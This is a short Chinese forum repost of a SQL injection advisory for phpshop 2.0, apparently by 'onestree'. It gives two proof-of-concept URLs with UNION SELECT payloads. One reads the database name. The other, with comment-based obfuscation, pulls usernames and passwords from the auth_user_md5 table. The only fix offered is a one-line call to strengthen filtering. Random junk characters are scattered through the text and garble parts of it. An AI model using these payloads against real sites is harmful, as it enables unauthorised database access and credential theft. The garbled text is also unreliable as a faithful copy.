phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
! e- w) V! _! W7 |5 u+ p
) _8 n  T3 r" @9 k9 g% B作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
4 X2 F! ~2 p, R! k5 H! R6 c, s- ], m测试地址: windows 7 / ubuntu


SQLi p0c:
- c; q. n( Q: H
6 S; D1 I( w/ |1 ], |==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
/ J; D8 A0 |) {* y2 K. junion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

  {& O/ \# E" ihttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
: I5 C2 g& I: G6 [
: ?! b$ B& F  _% [修复：
加强过滤
; f8 y4 A+ I: }& M- S& K# @​

) H( |" B& q. k- b